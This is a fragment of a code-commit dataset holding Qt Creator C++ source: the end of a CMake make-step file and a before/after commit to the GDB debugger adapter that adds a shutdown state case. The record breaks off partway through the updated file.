   Qt::DirectConnection);\n        connect(m_buildParser, SIGNAL(addToTaskWindow(const QString &, int, int, const QString &)),\n                this, SLOT(slotAddToTaskWindow(const QString &, int, int, const QString &)),\n                Qt::DirectConnection);\n        connect(m_buildParser, SIGNAL(enterDirectory(const QString &)),\n                this, SLOT(addDirectory(const QString &)),\n                Qt::DirectConnection);\n        connect(m_buildParser, SIGNAL(leaveDirectory(const QString &)),\n                this, SLOT(removeDirectory(const QString &)),\n                Qt::DirectConnection);\n    }\n\n    m_openDirectories.clear();\n    addDirectory(m_pro->buildDirectory(buildConfiguration));\n\n    setEnabled(buildConfiguration, true);\n    setWorkingDirectory(buildConfiguration, m_pro->buildDirectory(buildConfiguration));\n    setCommand(buildConfiguration, \"make\"); \/\/ TODO give full path here?\n    setArguments(buildConfiguration, value(buildConfiguration, \"buildTargets\").toStringList()); \/\/ TODO\n    setEnvironment(buildConfiguration, m_pro->environment(buildConfiguration));\n    return AbstractProcessStep::init(buildConfiguration);\n}\n\nvoid MakeStep::run(QFutureInterface<bool> &fi)\n{\n    AbstractProcessStep::run(fi);\n}\n\nQString MakeStep::name()\n{\n    return Constants::MAKESTEP;\n}\n\nQString MakeStep::displayName()\n{\n    return \"Make\";\n}\n\nProjectExplorer::BuildStepConfigWidget *MakeStep::createConfigWidget()\n{\n    return new MakeBuildStepConfigWidget(this);\n}\n\nbool MakeStep::immutable() const\n{\n    return true;\n}\n\nvoid MakeStep::stdOut(const QString &line)\n{\n    if (m_buildParser)\n        m_buildParser->stdOutput(line);\n    AbstractProcessStep::stdOut(line);\n}\n\nvoid MakeStep::stdError(const QString &line)\n{\n    if (m_buildParser)\n        m_buildParser->stdError(line);\n    AbstractProcessStep::stdError(line);\n}\n\nvoid MakeStep::slotAddToTaskWindow(const QString & fn, int type, int linenumber, const QString & description)\n{\n    QString filePath = fn;\n    if (!filePath.isEmpty() && !QDir::isAbsolutePath(filePath)) {\n        \/\/ We have no save way to decide which file in which subfolder\n        \/\/ is meant. Therefore we apply following heuristics:\n        \/\/ 1. Search for unique file in directories currently indicated as open by GNU make\n        \/\/    (Enter directory xxx, Leave directory xxx...) + current directory\n        \/\/ 3. Check if file is unique in whole project\n        \/\/ 4. Otherwise give up\n\n        filePath = filePath.trimmed();\n\n        QList<QFileInfo> possibleFiles;\n        foreach (const QString &dir, m_openDirectories) {\n            QFileInfo candidate(dir + QLatin1Char('\/') + filePath);\n            if (debug)\n                qDebug() << \"Checking path \" << candidate.filePath();\n            if (candidate.exists()\n                    && !possibleFiles.contains(candidate)) {\n                if (debug)\n                    qDebug() << candidate.filePath() << \"exists!\";\n                possibleFiles << candidate;\n            }\n        }\n        if (possibleFiles.count() == 0) {\n            if (debug)\n                qDebug() << \"No success. Trying all files in project ...\";\n            QString fileName = QFileInfo(filePath).fileName();\n            foreach (const QString &file, project()->files(ProjectExplorer::Project::AllFiles)) {\n                QFileInfo candidate(file);\n                if (candidate.fileName() == fileName) {\n                    if (debug)\n                        qDebug() << \"Found \" << file;\n                    possibleFiles << candidate;\n                }\n            }\n        }\n        if (possibleFiles.count() == 1)\n            filePath = possibleFiles.first().filePath();\n        else\n            qWarning() << \"Could not find absolute location of file \" << filePath;\n    }\n    emit addToTaskWindow(filePath, type, linenumber, description);\n}\n\nvoid MakeStep::addDirectory(const QString &dir)\n{\n    if (!m_openDirectories.contains(dir))\n        m_openDirectories.insert(dir);\n}\n\nvoid MakeStep::removeDirectory(const QString &dir)\n{\n    if (m_openDirectories.contains(dir))\n        m_openDirectories.remove(dir);\n}\n\n\nCMakeProject *MakeStep::project() const\n{\n    return m_pro;\n}\n\nbool MakeStep::buildsTarget(const QString &buildConfiguration, const QString &target) const\n{\n    return value(buildConfiguration, \"buildTargets\").toStringList().contains(target);\n}\n\nvoid MakeStep::setBuildTarget(const QString &buildConfiguration, const QString &target, bool on)\n{\n    QStringList old = value(buildConfiguration, \"buildTargets\").toStringList();\n    if (on && !old.contains(target))\n        setValue(buildConfiguration, \"buildTargets\", old << target);\n    else if(!on && old.contains(target))\n        setValue(buildConfiguration, \"buildTargets\", old.removeOne(target));\n}\n\n\/\/\n\/\/ CMakeBuildStepConfigWidget\n\/\/\nMakeBuildStepConfigWidget::MakeBuildStepConfigWidget(MakeStep *makeStep)\n    : m_makeStep(makeStep)\n{\n    QFormLayout *fl = new QFormLayout(this);\n    setLayout(fl);\n\n    m_targetsList = new QListWidget;\n    fl->addRow(\"Targets:\", m_targetsList);\n\n    \/\/ TODO update this list also on rescans of the CMakeLists.txt\n    CMakeProject *pro = m_makeStep->project();\n    foreach(const QString& target, pro->targets()) {\n        QListWidgetItem *item = new QListWidgetItem(target, m_targetsList);\n        item->setFlags(item->flags() | Qt::ItemIsUserCheckable);\n        item->setCheckState(Qt::Unchecked);\n    }\n    connect(m_targetsList, SIGNAL(itemChanged(QListWidgetItem*)), this, SLOT(itemChanged(QListWidgetItem*)));\n}\n\nvoid MakeBuildStepConfigWidget::itemChanged(QListWidgetItem *item)\n{\n    m_makeStep->setBuildTarget(m_buildConfiguration, item->text(), item->checkState() & Qt::Checked);\n}\n\nQString MakeBuildStepConfigWidget::displayName() const\n{\n    return \"Make\";\n}\n\nvoid MakeBuildStepConfigWidget::init(const QString &buildConfiguration)\n{\n    \/\/ TODO\n\n    \/\/ disconnect to make the changes to the items\n    disconnect(m_targetsList, SIGNAL(itemChanged(QListWidgetItem*)), this, SLOT(itemChanged(QListWidgetItem*)));\n    m_buildConfiguration = buildConfiguration;\n    int count = m_targetsList->count();\n    for(int i = 0; i < count; ++i) {\n        QListWidgetItem *item = m_targetsList->item(i);\n        item->setCheckState(m_makeStep->buildsTarget(buildConfiguration, item->text()) ? Qt::Checked : Qt::Unchecked);\n    }\n    \/\/ and connect again\n    connect(m_targetsList, SIGNAL(itemChanged(QListWidgetItem*)), this, SLOT(itemChanged(QListWidgetItem*)));\n}\n\n\/\/\n\/\/ MakeBuildStepFactory\n\/\/\n\nbool MakeBuildStepFactory::canCreate(const QString &name) const\n{\n    return (Constants::MAKESTEP == name);\n}\n\nProjectExplorer::BuildStep *MakeBuildStepFactory::create(ProjectExplorer::Project *project, const QString &name) const\n{\n    Q_ASSERT(name == Constants::MAKESTEP);\n    CMakeProject *pro = qobject_cast<CMakeProject *>(project);\n    Q_ASSERT(pro);\n    return new MakeStep(pro);\n}\n\nQStringList MakeBuildStepFactory::canCreateForProject(ProjectExplorer::Project * \/* pro *\/) const\n{\n    return QStringList();\n}\n\nQString MakeBuildStepFactory::displayNameForName(const QString & \/* name *\/) const\n{\n    return \"Make\";\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"plaingdbadapter.h\"\n\n#include \"debuggeractions.h\"\n#include \"gdbengine.h\"\n#include \"procinterrupt.h\"\n#include \"debuggerstringutils.h\"\n\n#include <utils\/qtcassert.h>\n#include <utils\/fancymainwindow.h>\n#include <coreplugin\/icore.h>\n\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QVariant>\n#include <QtGui\/QMessageBox>\n\nnamespace Debugger {\nnamespace Internal {\n\n#define STRINGIFY_INTERNAL(x) #x\n#define STRINGIFY(x) STRINGIFY_INTERNAL(x)\n#define CB(callback) \\\n    static_cast<GdbEngine::AdapterCallback>(&PlainGdbAdapter::callback), \\\n    STRINGIFY(callback)\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PlainGdbAdapter\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nPlainGdbAdapter::PlainGdbAdapter(GdbEngine *engine, QObject *parent)\n    : AbstractGdbAdapter(engine, parent)\n{\n    QTC_ASSERT(state() == DebuggerNotReady, qDebug() << state());\n    connect(&m_gdbProc, SIGNAL(error(QProcess::ProcessError)),\n        this, SLOT(handleGdbError(QProcess::ProcessError)));\n    connect(&m_gdbProc, SIGNAL(readyReadStandardOutput()),\n        this, SIGNAL(readyReadStandardOutput()));\n    connect(&m_gdbProc, SIGNAL(readyReadStandardError()),\n        this, SIGNAL(readyReadStandardError()));\n    connect(&m_gdbProc, SIGNAL(started()),\n        this, SLOT(handleGdbStarted()));\n    connect(&m_gdbProc, SIGNAL(finished(int, QProcess::ExitStatus)),\n        this, SLOT(handleGdbFinished(int, QProcess::ExitStatus)));\n\n    m_stubProc.setMode(Utils::ConsoleProcess::Debug);\n#ifdef Q_OS_UNIX\n    m_stubProc.setSettings(Core::ICore::instance()->settings());\n#endif\n\n    connect(&m_stubProc, SIGNAL(processError(QString)),\n        this, SLOT(stubError(QString)));\n    connect(&m_stubProc, SIGNAL(processStarted()),\n        this, SLOT(stubStarted()));\n\/\/ FIXME:\n\/\/    connect(&m_stubProc, SIGNAL(wrapperStopped()),\n\/\/        m_manager, SLOT(exitDebugger()));\n}\n\nvoid PlainGdbAdapter::startAdapter()\n{\n    QTC_ASSERT(state() == EngineStarting, qDebug() << state());\n    setState(AdapterStarting);\n    debugMessage(_(\"TRYING TO START ADAPTER\"));\n\n    QStringList gdbArgs;\n    gdbArgs.prepend(_(\"mi\"));\n    gdbArgs.prepend(_(\"-i\"));\n\n    if (startParameters().useTerminal) {\n        m_stubProc.stop(); \/\/ We leave the console open, so recycle it now.\n\n        m_stubProc.setWorkingDirectory(startParameters().workingDir);\n        m_stubProc.setEnvironment(startParameters().environment);\n        if (!m_stubProc.start(startParameters().executable,\n                             startParameters().processArgs)) {\n            \/\/ Error message for user is delivered via a signal.\n            emitAdapterStartFailed(QString());\n            return;\n        }\n    } else {\n        if (!m_engine->m_outputCollector.listen()) {\n            emitAdapterStartFailed(tr(\"Cannot set up communication with child process: %1\")\n                    .arg(m_engine->m_outputCollector.errorString()));\n            return;\n        }\n        gdbArgs.prepend(_(\"--tty=\") + m_engine->m_outputCollector.serverName());\n\n        if (!startParameters().workingDir.isEmpty())\n            setWorkingDirectory(startParameters().workingDir);\n        if (!startParameters().environment.isEmpty())\n            setEnvironment(startParameters().environment);\n    }\n\n    m_gdbProc.start(theDebuggerStringSetting(GdbLocation), gdbArgs);\n}\n\nvoid PlainGdbAdapter::handleGdbStarted()\n{\n    QTC_ASSERT(state() == AdapterStarting, qDebug() << state());\n    setState(AdapterStarted);\n    emit adapterStarted();\n}\n\nvoid PlainGdbAdapter::handleGdbError(QProcess::ProcessError error)\n{\n    debugMessage(_(\"PLAIN ADAPTER, HANDLE GDB ERROR\"));\n    emit adapterCrashed(m_engine->errorMessage(error));\n}\n\nvoid PlainGdbAdapter::prepareInferior()\n{\n    QTC_ASSERT(state() == AdapterStarted, qDebug() << state());\n    setState(InferiorPreparing);\n    if (!startParameters().processArgs.isEmpty())\n        m_engine->postCommand(_(\"-exec-arguments \")\n            + startParameters().processArgs.join(_(\" \")));\n    QFileInfo fi(startParameters().executable);\n    m_engine->postCommand(_(\"-file-exec-and-symbols \\\"%1\\\"\").arg(fi.absoluteFilePath()),\n        CB(handleFileExecAndSymbols));\n}\n\nvoid PlainGdbAdapter::handleFileExecAndSymbols(const GdbResponse &response)\n{\n    QTC_ASSERT(state() == InferiorPreparing, qDebug() << state());\n    if (response.resultClass == GdbResultDone) {\n        \/\/m_breakHandler->clearBreakMarkers();\n        setState(InferiorPrepared);\n        emit inferiorPrepared();\n    } else if (response.resultClass == GdbResultError) {\n        QString msg = tr(\"Starting executable failed:\\n\") +\n            __(response.data.findChild(\"msg\").data());\n        setState(InferiorPreparationFailed);\n        emit inferiorPreparationFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::handleInfoTarget(const GdbResponse &response)\n{\n    QTC_ASSERT(state() == DebuggerNotReady, qDebug() << state());\n#if defined(Q_OS_MAC)\n    Q_UNUSED(response)\n#else\n\/*\n    #ifdef Q_OS_MAC        \n    m_engine->postCommand(_(\"sharedlibrary apply-load-rules all\"));\n    \/\/ On MacOS, breaking in at the entry point wreaks havoc.\n    m_engine->postCommand(_(\"tbreak main\"));\n    m_waitingForFirstBreakpointToBeHit = true;\n    m_engine->postCommand(_(\"-exec-run\"), CB(handleExecRun));\n    #else\n\/\/ FIXME:\n\/\/    if (!m_dumperInjectionLoad)\n\/\/        m_engine->postCommand(_(\"set auto-solib-add off\"));\n    m_engine->postCommand(_(\"info target\"), CB(handleInfoTarget));\n    #endif\n*\/\n    if (response.resultClass == GdbResultDone) {\n        \/\/ [some leading stdout here]\n        \/\/ >&\"        Entry point: 0x80831f0  0x08048134 - 0x08048147 is .interp\\n\"\n        \/\/ [some trailing stdout here]\n        QString msg = _(response.data.findChild(\"consolestreamoutput\").data());\n        QRegExp needle(_(\"\\\\bEntry point: (0x[0-9a-f]+)\\\\b\"));\n        if (needle.indexIn(msg) != -1) {\n            \/\/debugMessage(_(\"STREAM: \") + msg + \" \" + needle.cap(1));\n            m_engine->postCommand(_(\"tbreak *\") + needle.cap(1));\n\/\/ FIXME:            m_waitingForFirstBreakpointToBeHit = true;\n            setState(InferiorRunningRequested);\n            m_engine->postCommand(_(\"-exec-run\"), CB(handleExecRun));\n        } else {\n            debugMessage(_(\"PARSING START ADDRESS FAILED: \") + msg);\n            emit inferiorStartFailed(_(\"Parsing start address failed\"));\n        }\n    } else if (response.resultClass == GdbResultError) {\n        debugMessage(_(\"FETCHING START ADDRESS FAILED: \" + response.toString()));\n        emit inferiorStartFailed(_(\"Fetching start address failed\"));\n    }\n#endif\n}\n\nvoid PlainGdbAdapter::handleExecRun(const GdbResponse &response)\n{\n    if (response.resultClass == GdbResultRunning) {\n        QTC_ASSERT(state() == InferiorRunning, qDebug() << state());\n        debugMessage(_(\"INFERIOR STARTED\"));\n        showStatusMessage(tr(\"Inferior started.\"));\n    } else {\n        QTC_ASSERT(state() == InferiorRunningRequested, qDebug() << state());\n        QTC_ASSERT(response.resultClass == GdbResultError, \/**\/);\n        const QByteArray &msg = response.data.findChild(\"msg\").data();\n        \/\/QTC_ASSERT(status() == InferiorRunning, \/**\/);\n        \/\/interruptInferior();\n        setState(InferiorStartFailed);\n        emit inferiorStartFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::startInferior()\n{\n    QTC_ASSERT(state() == InferiorStarting, qDebug() << state());\n    setState(InferiorRunningRequested);\n    m_engine->postCommand(_(\"-exec-run\"), CB(handleExecRun));\n}\n\nvoid PlainGdbAdapter::interruptInferior()\n{\n    debugMessage(_(\"TRYING TO INTERUPT INFERIOR\"));\n    const qint64 attachedPID = m_engine->inferiorPid();\n    if (attachedPID <= 0) {\n        debugMessage(_(\"TRYING TO INTERRUPT INFERIOR BEFORE PID WAS OBTAINED\"));\n        return;\n    }\n\n    if (!interruptProcess(attachedPID))\n        debugMessage(_(\"CANNOT INTERRUPT %1\").arg(attachedPID));\n}\n\nvoid PlainGdbAdapter::shutdown()\n{\n    debugMessage(_(\"PLAIN ADAPTER SHUTDOWN %1\").arg(state()));\n    switch (state()) {\n    \n    case InferiorRunningRequested:\n    case InferiorRunning:\n    case InferiorStopping:\n    case InferiorStopped:\n        setState(InferiorShuttingDown);\n        m_engine->postCommand(_(\"kill\"), CB(handleKill));\n        return;\n\n    case InferiorShutDown:\n        setState(AdapterShuttingDown);\n        m_engine->postCommand(_(\"-gdb-exit\"), CB(handleExit));\n        return;\n\n\/*\n    case InferiorShutdownFailed:\n        m_gdbProc.terminate();\n        \/\/ 20s can easily happen when loading webkit debug information\n        m_gdbProc.waitForFinished(20000);\n        setState(AdapterShuttingDown);\n        debugMessage(_(\"FORCING TERMINATION: %1\").arg(state()));\n        if (state() != QProcess::NotRunning) {\n            debugMessage(_(\"PROBLEM STOPPING DEBUGGER: STATE %1\")\n                .arg(state()));\n            m_gdbProc.kill();\n        }\n        m_engine->postCommand(_(\"-gdb-exit\"), CB(handleExit));\n        return;\n*\/\n    default:\n        QTC_ASSERT(false, qDebug() << state());\n    }\n}\n\nvoid PlainGdbAdapter::handleKill(const GdbResponse &response)\n{\n    debugMessage(_(\"PLAIN ADAPTER HANDLE KILL \" + response.toString()));\n    if (response.resultClass == GdbResultDone) {\n        setState(InferiorShutDown);\n        emit inferiorShutDown();\n        shutdown(); \/\/ re-iterate...\n    } else if (response.resultClass == GdbResultError) {\n        QString msg = tr(\"Inferior process could not be stopped:\\n\") +\n            __(response.data.findChild(\"msg\").data());\n        setState(InferiorShutdownFailed);\n        emit inferiorShutdownFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::handleExit(const GdbResponse &response)\n{\n    if (response.resultClass == GdbResultDone) {\n        \/\/ don't set state here, this will be handled in handleGdbFinished()\n    } else if (response.resultClass == GdbResultError) {\n        QString msg = tr(\"Gdb process could not be stopped:\\n\") +\n            __(response.data.findChild(\"msg\").data());\n        emit adapterShutdownFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::handleGdbFinished(int, QProcess::ExitStatus)\n{\n    debugMessage(_(\"GDB PROCESS FINISHED\"));\n    emit adapterShutDown();\n}\n\nvoid PlainGdbAdapter::stubStarted()\n{\n    const qint64 attachedPID = m_stubProc.applicationPID();\n    emit inferiorPidChanged(attachedPID);\n    m_engine->postCommand(_(\"attach %1\").arg(attachedPID), CB(handleStubAttached));\n}\n\nvoid PlainGdbAdapter::handleStubAttached(const GdbResponse &)\n{\n    qDebug() << \"STUB ATTACHED, FIXME\";\n    \/\/qq->notifyInferiorStopped();\n    \/\/handleAqcuiredInferior();\n}\n\nvoid PlainGdbAdapter::stubError(const QString &msg)\n{\n    QMessageBox::critical(m_engine->mainWindow(), tr(\"Debugger Error\"), msg);\n}\n\nvoid PlainGdbAdapter::emitAdapterStartFailed(const QString &msg)\n{\n    \/\/  QMessageBox::critical(mainWindow(), tr(\"Debugger Startup Failure\"),\n    \/\/    tr(\"Cannot start debugger: %1\").arg(m_gdbAdapter->errorString()));\n    bool blocked = m_stubProc.blockSignals(true);\n    m_stubProc.stop();\n    m_stubProc.blockSignals(blocked);\n    emit adapterStartFailed(msg);\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace Debugger\n<commit_msg>debugger: escape from an unexpected state<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"plaingdbadapter.h\"\n\n#include \"debuggeractions.h\"\n#include \"gdbengine.h\"\n#include \"procinterrupt.h\"\n#include \"debuggerstringutils.h\"\n\n#include <utils\/qtcassert.h>\n#include <utils\/fancymainwindow.h>\n#include <coreplugin\/icore.h>\n\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QVariant>\n#include <QtGui\/QMessageBox>\n\nnamespace Debugger {\nnamespace Internal {\n\n#define STRINGIFY_INTERNAL(x) #x\n#define STRINGIFY(x) STRINGIFY_INTERNAL(x)\n#define CB(callback) \\\n    static_cast<GdbEngine::AdapterCallback>(&PlainGdbAdapter::callback), \\\n    STRINGIFY(callback)\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PlainGdbAdapter\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nPlainGdbAdapter::PlainGdbAdapter(GdbEngine *engine, QObject *parent)\n    : AbstractGdbAdapter(engine, parent)\n{\n    QTC_ASSERT(state() == DebuggerNotReady, qDebug() << state());\n    connect(&m_gdbProc, SIGNAL(error(QProcess::ProcessError)),\n        this, SLOT(handleGdbError(QProcess::ProcessError)));\n    connect(&m_gdbProc, SIGNAL(readyReadStandardOutput()),\n        this, SIGNAL(readyReadStandardOutput()));\n    connect(&m_gdbProc, SIGNAL(readyReadStandardError()),\n        this, SIGNAL(readyReadStandardError()));\n    connect(&m_gdbProc, SIGNAL(started()),\n        this, SLOT(handleGdbStarted()));\n    connect(&m_gdbProc, SIGNAL(finished(int, QProcess::ExitStatus)),\n        this, SLOT(handleGdbFinished(int, QProcess::ExitStatus)));\n\n    m_stubProc.setMode(Utils::ConsoleProcess::Debug);\n#ifdef Q_OS_UNIX\n    m_stubProc.setSettings(Core::ICore::instance()->settings());\n#endif\n\n    connect(&m_stubProc, SIGNAL(processError(QString)),\n        this, SLOT(stubError(QString)));\n    connect(&m_stubProc, SIGNAL(processStarted()),\n        this, SLOT(stubStarted()));\n\/\/ FIXME:\n\/\/    connect(&m_stubProc, SIGNAL(wrapperStopped()),\n\/\/        m_manager, SLOT(exitDebugger()));\n}\n\nvoid PlainGdbAdapter::startAdapter()\n{\n    QTC_ASSERT(state() == EngineStarting, qDebug() << state());\n    setState(AdapterStarting);\n    debugMessage(_(\"TRYING TO START ADAPTER\"));\n\n    QStringList gdbArgs;\n    gdbArgs.prepend(_(\"mi\"));\n    gdbArgs.prepend(_(\"-i\"));\n\n    if (startParameters().useTerminal) {\n        m_stubProc.stop(); \/\/ We leave the console open, so recycle it now.\n\n        m_stubProc.setWorkingDirectory(startParameters().workingDir);\n        m_stubProc.setEnvironment(startParameters().environment);\n        if (!m_stubProc.start(startParameters().executable,\n                             startParameters().processArgs)) {\n            \/\/ Error message for user is delivered via a signal.\n            emitAdapterStartFailed(QString());\n            return;\n        }\n    } else {\n        if (!m_engine->m_outputCollector.listen()) {\n            emitAdapterStartFailed(tr(\"Cannot set up communication with child process: %1\")\n                    .arg(m_engine->m_outputCollector.errorString()));\n            return;\n        }\n        gdbArgs.prepend(_(\"--tty=\") + m_engine->m_outputCollector.serverName());\n\n        if (!startParameters().workingDir.isEmpty())\n            setWorkingDirectory(startParameters().workingDir);\n        if (!startParameters().environment.isEmpty())\n            setEnvironment(startParameters().environment);\n    }\n\n    m_gdbProc.start(theDebuggerStringSetting(GdbLocation), gdbArgs);\n}\n\nvoid PlainGdbAdapter::handleGdbStarted()\n{\n    QTC_ASSERT(state() == AdapterStarting, qDebug() << state());\n    setState(AdapterStarted);\n    emit adapterStarted();\n}\n\nvoid PlainGdbAdapter::handleGdbError(QProcess::ProcessError error)\n{\n    debugMessage(_(\"PLAIN ADAPTER, HANDLE GDB ERROR\"));\n    emit adapterCrashed(m_engine->errorMessage(error));\n}\n\nvoid PlainGdbAdapter::prepareInferior()\n{\n    QTC_ASSERT(state() == AdapterStarted, qDebug() << state());\n    setState(InferiorPreparing);\n    if (!startParameters().processArgs.isEmpty())\n        m_engine->postCommand(_(\"-exec-arguments \")\n            + startParameters().processArgs.join(_(\" \")));\n    QFileInfo fi(startParameters().executable);\n    m_engine->postCommand(_(\"-file-exec-and-symbols \\\"%1\\\"\").arg(fi.absoluteFilePath()),\n        CB(handleFileExecAndSymbols));\n}\n\nvoid PlainGdbAdapter::handleFileExecAndSymbols(const GdbResponse &response)\n{\n    QTC_ASSERT(state() == InferiorPreparing, qDebug() << state());\n    if (response.resultClass == GdbResultDone) {\n        \/\/m_breakHandler->clearBreakMarkers();\n        setState(InferiorPrepared);\n        emit inferiorPrepared();\n    } else if (response.resultClass == GdbResultError) {\n        QString msg = tr(\"Starting executable failed:\\n\") +\n            __(response.data.findChild(\"msg\").data());\n        setState(InferiorPreparationFailed);\n        emit inferiorPreparationFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::handleInfoTarget(const GdbResponse &response)\n{\n    QTC_ASSERT(state() == DebuggerNotReady, qDebug() << state());\n#if defined(Q_OS_MAC)\n    Q_UNUSED(response)\n#else\n\/*\n    #ifdef Q_OS_MAC        \n    m_engine->postCommand(_(\"sharedlibrary apply-load-rules all\"));\n    \/\/ On MacOS, breaking in at the entry point wreaks havoc.\n    m_engine->postCommand(_(\"tbreak main\"));\n    m_waitingForFirstBreakpointToBeHit = true;\n    m_engine->postCommand(_(\"-exec-run\"), CB(handleExecRun));\n    #else\n\/\/ FIXME:\n\/\/    if (!m_dumperInjectionLoad)\n\/\/        m_engine->postCommand(_(\"set auto-solib-add off\"));\n    m_engine->postCommand(_(\"info target\"), CB(handleInfoTarget));\n    #endif\n*\/\n    if (response.resultClass == GdbResultDone) {\n        \/\/ [some leading stdout here]\n        \/\/ >&\"        Entry point: 0x80831f0  0x08048134 - 0x08048147 is .interp\\n\"\n        \/\/ [some trailing stdout here]\n        QString msg = _(response.data.findChild(\"consolestreamoutput\").data());\n        QRegExp needle(_(\"\\\\bEntry point: (0x[0-9a-f]+)\\\\b\"));\n        if (needle.indexIn(msg) != -1) {\n            \/\/debugMessage(_(\"STREAM: \") + msg + \" \" + needle.cap(1));\n            m_engine->postCommand(_(\"tbreak *\") + needle.cap(1));\n\/\/ FIXME:            m_waitingForFirstBreakpointToBeHit = true;\n            setState(InferiorRunningRequested);\n            m_engine->postCommand(_(\"-exec-run\"), CB(handleExecRun));\n        } else {\n            debugMessage(_(\"PARSING START ADDRESS FAILED: \") + msg);\n            emit inferiorStartFailed(_(\"Parsing start address failed\"));\n        }\n    } else if (response.resultClass == GdbResultError) {\n        debugMessage(_(\"FETCHING START ADDRESS FAILED: \" + response.toString()));\n        emit inferiorStartFailed(_(\"Fetching start address failed\"));\n    }\n#endif\n}\n\nvoid PlainGdbAdapter::handleExecRun(const GdbResponse &response)\n{\n    if (response.resultClass == GdbResultRunning) {\n        QTC_ASSERT(state() == InferiorRunning, qDebug() << state());\n        debugMessage(_(\"INFERIOR STARTED\"));\n        showStatusMessage(tr(\"Inferior started.\"));\n    } else {\n        QTC_ASSERT(state() == InferiorRunningRequested, qDebug() << state());\n        QTC_ASSERT(response.resultClass == GdbResultError, \/**\/);\n        const QByteArray &msg = response.data.findChild(\"msg\").data();\n        \/\/QTC_ASSERT(status() == InferiorRunning, \/**\/);\n        \/\/interruptInferior();\n        setState(InferiorStartFailed);\n        emit inferiorStartFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::startInferior()\n{\n    QTC_ASSERT(state() == InferiorStarting, qDebug() << state());\n    setState(InferiorRunningRequested);\n    m_engine->postCommand(_(\"-exec-run\"), CB(handleExecRun));\n}\n\nvoid PlainGdbAdapter::interruptInferior()\n{\n    debugMessage(_(\"TRYING TO INTERUPT INFERIOR\"));\n    const qint64 attachedPID = m_engine->inferiorPid();\n    if (attachedPID <= 0) {\n        debugMessage(_(\"TRYING TO INTERRUPT INFERIOR BEFORE PID WAS OBTAINED\"));\n        return;\n    }\n\n    if (!interruptProcess(attachedPID))\n        debugMessage(_(\"CANNOT INTERRUPT %1\").arg(attachedPID));\n}\n\nvoid PlainGdbAdapter::shutdown()\n{\n    debugMessage(_(\"PLAIN ADAPTER SHUTDOWN %1\").arg(state()));\n    switch (state()) {\n    \n    case InferiorRunningRequested:\n    case InferiorRunning:\n    case InferiorStopping:\n    case InferiorStopped:\n        setState(InferiorShuttingDown);\n        m_engine->postCommand(_(\"kill\"), CB(handleKill));\n        return;\n\n    case InferiorShuttingDown:\n        \/\/ FIXME: How can we end up here?\n        QTC_ASSERT(false, qDebug() << state());\n        \/\/ Fall through.\n\n    case InferiorShutDown:\n        setState(AdapterShuttingDown);\n        m_engine->postCommand(_(\"-gdb-exit\"), CB(handleExit));\n        return;\n\n\/*\n    case InferiorShutdownFailed:\n        m_gdbProc.terminate();\n        \/\/ 20s can easily happen when loading webkit debug information\n        m_gdbProc.waitForFinished(20000);\n        setState(AdapterShuttingDown);\n        debugMessage(_(\"FORCING TERMINATION: %1\").arg(state()));\n        if (state() != QProcess::NotRunning) {\n            debugMessage(_(\"PROBLEM STOPPING DEBUGGER: STATE 